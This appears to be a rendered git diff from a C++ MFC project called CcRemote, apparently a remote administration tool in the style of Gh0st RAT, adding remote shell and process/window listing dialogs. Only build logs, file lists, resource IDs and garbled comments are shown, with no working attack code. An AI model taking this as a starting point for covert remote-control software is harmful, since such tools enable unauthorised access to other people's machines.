<Filter>资源文件</Filter>
|
||||||
</Image>
|
</Image>
|
||||||
|
<Image Include="res\system.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
@@ -1,5 +1,3 @@
|
|||||||
g:\ccremote\ccremote\bin\ccremote.ipdb
|
|
||||||
g:\ccremote\ccremote\bin\ccremote.iobj
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
|
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
|
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
|
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
|
||||||
@@ -11,19 +9,6 @@ g:\ccremote\ccremote\ccremote\ccremote\release\cshelldlg.obj
|
|||||||
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
|
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
|
|
||||||
g:\ccremote\ccremote\bin\ccremote.exe
|
|
||||||
g:\ccremote\ccremote\bin\ccremote.pdb
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
|
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
|
|
||||||
|
@@ -1,4 +1,6 @@
|
|||||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
|
pch.cpp
|
||||||
|
CcRemote.cpp
|
||||||
CcRemoteDlg.cpp
|
CcRemoteDlg.cpp
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(159): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(159): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
@@ -9,9 +11,31 @@ g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(322): warning C4244: “
|
|||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(788): warning C4018: “<=”: 有符号/无符号不匹配
|
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(788): warning C4018: “<=”: 有符号/无符号不匹配
|
||||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(867): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(867): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
|
CSettingDlg.cpp
|
||||||
|
CShellDlg.cpp
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
|
CSystemDlg.cpp
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(127): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
|
CpuUsage.cpp
|
||||||
|
IniFile.cpp
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
|
SEU_QQwry.cpp
|
||||||
|
TrueColorToolBar.cpp
|
||||||
|
Buffer.cpp
|
||||||
|
IOCPServer.cpp
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||||
|
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
正在生成代码
|
正在生成代码
|
||||||
1 of 459 functions ( 0.2%) were compiled, the rest were copied from previous compilation.
|
All 473 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||||
0 functions were new in current compilation
|
|
||||||
0 functions had inline decision re-evaluated but remain unchanged
|
|
||||||
已完成代码的生成
|
已完成代码的生成
|
||||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||||
|
Binary file not shown.
@@ -43,7 +43,6 @@ CRITICAL_SECTION CIOCPServer::m_cs;
|
|||||||
//
|
//
|
||||||
////////////////////////////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
//lang2.1_4
|
|
||||||
CIOCPServer::CIOCPServer() //<2F><EFBFBD><F2B5A5B7><EFBFBD>CIOCPServer<65><72> <20><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
CIOCPServer::CIOCPServer() //<2F><EFBFBD><F2B5A5B7><EFBFBD>CIOCPServer<65><72> <20><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
TRACE("CIOCPServer=%p\n",this);
|
TRACE("CIOCPServer=%p\n",this);
|
||||||
|
@@ -23,10 +23,10 @@
|
|||||||
|
|
||||||
|
|
||||||
////////////////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////////////////
|
||||||
#define NC_CLIENT_CONNECT 0x0001
|
#define NC_CLIENT_CONNECT 0x0001 //<2F>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
#define NC_CLIENT_DISCONNECT 0x0002
|
#define NC_CLIENT_DISCONNECT 0x0002 //<2F>ͻ<EFBFBD><CDBB>˶Ͽ<CBB6><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
||||||
#define NC_TRANSMIT 0x0003
|
#define NC_TRANSMIT 0x0003 //<2F><><EFBFBD><EFBFBD>
|
||||||
#define NC_RECEIVE 0x0004
|
#define NC_RECEIVE 0x0004 //<2F><><EFBFBD><EFBFBD>
|
||||||
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
class CLock
|
class CLock
|
||||||
|
@@ -13,6 +13,7 @@
|
|||||||
#include "framework.h"
|
#include "framework.h"
|
||||||
#include <afxcontrolbars.h>
|
#include <afxcontrolbars.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
|
#include <afxwin.h>
|
||||||
|
|
||||||
#endif //PCH_H
|
#endif //PCH_H
|
||||||
|
|
||||||
|
BIN
CcRemote/CcRemote/res/system.ico
Normal file
BIN
CcRemote/CcRemote/res/system.ico
Normal file
Binary file not shown.
After Width: | Height: | Size: 766 B |
@@ -20,12 +20,18 @@
|
|||||||
#define IDD_SHELL 140
|
#define IDD_SHELL 140
|
||||||
#define IDI_ICON1 142
|
#define IDI_ICON1 142
|
||||||
#define IDI_CMDSHELL 142
|
#define IDI_CMDSHELL 142
|
||||||
|
#define IDD_SYSTEM 143
|
||||||
|
#define IDI_SYSTM 146
|
||||||
|
#define IDI_SYSTEM 146
|
||||||
#define IDC_ONLINE 1000
|
#define IDC_ONLINE 1000
|
||||||
#define IDC_LIST2 1001
|
#define IDC_LIST2 1001
|
||||||
#define IDC_MESSAGE 1001
|
#define IDC_MESSAGE 1001
|
||||||
#define IDC_EDIT_PORT 1002
|
#define IDC_EDIT_PORT 1002
|
||||||
#define IDC_EDIT_MAX 1003
|
#define IDC_EDIT_MAX 1003
|
||||||
#define IDC_EDIT 1003
|
#define IDC_EDIT 1003
|
||||||
|
#define IDC_TAB 1004
|
||||||
|
#define IDC_LIST_WINDOWS 1005
|
||||||
|
#define IDC_LIST_PROCESS 1006
|
||||||
#define ID_ONLINE_32771 32771
|
#define ID_ONLINE_32771 32771
|
||||||
#define ID_ONLINE_32772 32772
|
#define ID_ONLINE_32772 32772
|
||||||
#define ID_ONLINE_32773 32773
|
#define ID_ONLINE_32773 32773
|
||||||
@@ -76,9 +82,9 @@
|
|||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 143
|
#define _APS_NEXT_RESOURCE_VALUE 147
|
||||||
#define _APS_NEXT_COMMAND_VALUE 32817
|
#define _APS_NEXT_COMMAND_VALUE 32817
|
||||||
#define _APS_NEXT_CONTROL_VALUE 1004
|
#define _APS_NEXT_CONTROL_VALUE 1006
|
||||||
#define _APS_NEXT_SYMED_VALUE 101
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
BIN
bin/CcRemote.exe
BIN
bin/CcRemote.exe
Binary file not shown.
BIN
ghostAnalyze.emmx
Normal file
BIN
ghostAnalyze.emmx
Normal file
Binary file not shown.
Reference in New Issue
Block a user